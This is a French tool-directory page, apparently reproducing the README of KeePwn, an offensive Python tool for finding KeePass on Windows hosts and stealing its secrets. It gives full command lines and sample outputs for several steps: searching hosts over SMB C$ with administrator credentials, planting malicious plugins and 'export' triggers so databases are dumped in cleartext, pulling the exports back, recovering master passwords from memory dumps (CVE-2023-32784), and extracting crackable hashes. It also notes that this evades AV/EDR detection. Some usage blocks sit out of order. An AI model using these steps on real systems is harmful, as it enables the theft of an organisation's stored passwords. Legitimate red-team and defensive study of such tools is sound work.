Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
KeePwn — Un outil Python pour automatiser la découverte de KeePass et l'extraction de secrets. | Kitploit
Outils/GitHubGitHub/orange-cyberdefense/keepwn
Cassage de Mots de PasseExploitationPost-ExploitationRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Un outil Python pour automatiser la découverte de KeePass et l'extraction de secrets.

Voir le dépôt
52754il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Un script Python pour aider les red teamers à découvrir les instances KeePass et extraire des secrets.

Fonctionnalités

  • Découverte de KeePass
    • Rechercher les fichiers d'installation de KeePass via le partage SMB C$.
    • Accepter plusieurs sources de cibles (IP, CIDR, nom d'hôte, fichier).
    • Vérifier les métadonnées KeePass (version, dernier accès).
    • Vérifier le processus KeePass en cours via RPC basé sur Impacket.
    • Implémentation multi-threads pour éviter les goulots d'étranglement.
    • Exporter les résultats de recherche en CSV.
    • Trouver des bases de données KDBX.
  • Abus de plugin KeePass
    • Ajouter et supprimer des plugins KeePass (voir KeeFarce Reborn) via le partage SMB C$.
    • Récupérer les exports en clair sur l'hôte distant.
  • Abus de déclencheur KeePass
    • Ajouter et supprimer des déclencheurs (voir : KeeThief) depuis le fichier de configuration KeePass via le partage SMB C$.
    • Récupérer les exports en clair sur l'hôte distant.
    • Personnaliser les déclencheurs avec des arguments en ligne de commande.
  • Analyse de dump KeePass
    • Analyser les dumps mémoire pour trouver des candidats de mot de passe maître (CVE-2023-32784).
    • Analyser les dumps mémoire pour trouver la clé de chiffrement.
  • Cracking de base de données KeePass
    • Convertir KDBX en formats compatibles John et Hashcat.
    • Ajouter le support du format KDBX 4.x.
  • Authentification
    • Prise en charge de l'authentification par hash LM/NT.
    • Prise en charge de l'authentification Kerberos.
  • Divers
    • Écrire des tests unitaires.
    • Rendre le projet disponible sur PyPI.

Installation

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Ou si vous ne voulez pas installer mais simplement exécuter dans un environnement virtuel :

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Utilisation

Découverte

Le module search de KeePwn est utilisé pour identifier les hôtes exécutant KeePass dans votre environnement cible :

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Starting remote KeePass search with 5 threads

[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found

Il utilise le partage C$ intégré d'Active Directory pour rechercher des fichiers liés à KeePass dans les emplacements par défaut, nécessitant donc des privilèges d'administrateur sur les cibles.

Le module recherchera d'abord le fichier de configuration KeePass.config.xml dans le dossier %APPDATA%\KeePass de chaque utilisateur, ainsi que KeePass.exe dans son chemin d'installation par défaut (C:\Program Files\KeePass Password Safe 2). Si un fichier de configuration est trouvé mais que KeePass n'est pas installé globalement, KeePwn recherchera les installations portables jusqu'à --max-depth sous-dossiers.

Cette technique de recherche de base devrait suffire pour déterminer avec précision si KeePass est utilisé sur un poste de travail ou non. De plus, l'option --get-process utilisera l'implémentation RPC d'Impacket pour déterminer si KeePass est actuellement en cours d'exécution sur la cible.

Diverses options de confort sont également incluses pour vous permettre d'exporter les résultats de recherche vers un fichier CSV, d'afficher uniquement les cibles où KeePass est trouvé et d'ajuster le nombre de threads parallèles :

Abus de plugin

KeePass dispose d'un framework de plugins qui peut être abusé pour charger des DLL malveillantes dans le processus KeePass, permettant aux attaquants disposant de droits d'administrateur d'exporter facilement la base de données (voir : KeeFarceRebornPlugin).

Le module plugin de KeePwn permet de :

  • Lister les plugins actuellement installés et énumérer le cache de plugins

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] No path specified, searching in default locations..
    [*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Ajouter et supprimer vos plugins malveillants

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] No path specified, searching in default locations..
    [*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
    > y
    [+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
    
  • Interroger %APPDATA% pour les exports et les déplacer automatiquement de l'hôte distant vers le système de fichiers local

Abus de déclencheur

Comme décrit dans l'article de blog de @harmj0y (et plus tard CVE-2023-24055), le système de déclencheurs de KeePass peut être abusé pour exporter la base de données en clair.

Le module trigger de KeePwn permet de :

  • Vérifier si un déclencheur malveillant nommé "export" est actuellement écrit dans la configuration KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] No trigger found in KeePass configuration
    

    Notez que KeePwn vous empêchera d'abuser des plugins si la version de KeePass détectée n'est pas affectée par cette technique.

  • Ajouter et supprimer un déclencheur malveillant nommé "export" qui effectue un export en clair de la base de données dans %APPDATA% au prochain lancement de KeePass

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] No KeePass configuration path specified, searching in default locations..
    [*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
    [*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
    
Analyse de dumps mémoire

Comme décrit par @vdohney, il est possible de récupérer le mot de passe maître de la base de données en mémoire (CVE-2023-32784, affectant les versions antérieures à KeePass 2.54).

Le module parse_dump de KeePwn recherchera des candidats potentiels de mot de passe maître dans les dumps. Parce que les chaînes résultantes seront (par conception) incomplètes, le module peut également être utilisé pour bruteforcer le premier caractère manquant contre un fichier KDBX spécifié.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Searching for the master password in memory dump.. done!                                                                                                                                                                                                 
[*] Found 15 candidates:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!                                                                                                                                                                          
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!

L'analyse du dump mémoire utilise le PoC Python de @CMEPW. Merci de m'avoir permis de réutiliser le code :)

Cracking de bases de données KDBX

Le script keepass2john.py de @harmjoy a été porté sur KeePwn avec l'aide de @0xSp3ctra.

KeePwn convert extraira un hash craquable (format john ou hashcat) d'une base de données KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Il peut être utilisé avec plus d'arguments pour spécifier le type de hash attendu ainsi qu'un chemin de fichier de sortie :

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)

KDBX 4.x n'est pas encore supporté, vous pouvez utiliser https://github.com/r3nt0n/keepass4brute. Si vous êtes d'humeur pour une PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format devrait être une bonne lecture :)

Contribuer

Les pull requests sont les bienvenues (voir : Fonctionnalités non cochées + quelques TODOs dans le code).

N'hésitez pas à ouvrir une issue ou à m'envoyer un DM sur Twitter pour suggérer une amélioration.

Télécharger l’outil
root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Starting remote KeePass search with 4 threads

[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)

[+] Search results logged to keepwn_out.csv
root@kitploit:~
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml

Ces actions sont effectuées via l'accès au partage SMB C$, limitant la détection par AV/EDR car aucune exécution de commande n'est effectuée.

  • Interroger %APPDATA% pour les exports et les déplacer automatiquement de l'hôte distant vers le système de fichiers local

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE                                                                                                                                                                                
    [+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Moved remote export to ./export.xml
    
  • Si le chemin du fichier de configuration n'est pas l'emplacement par défaut, vous pouvez en spécifier un avec l'argument --config-path.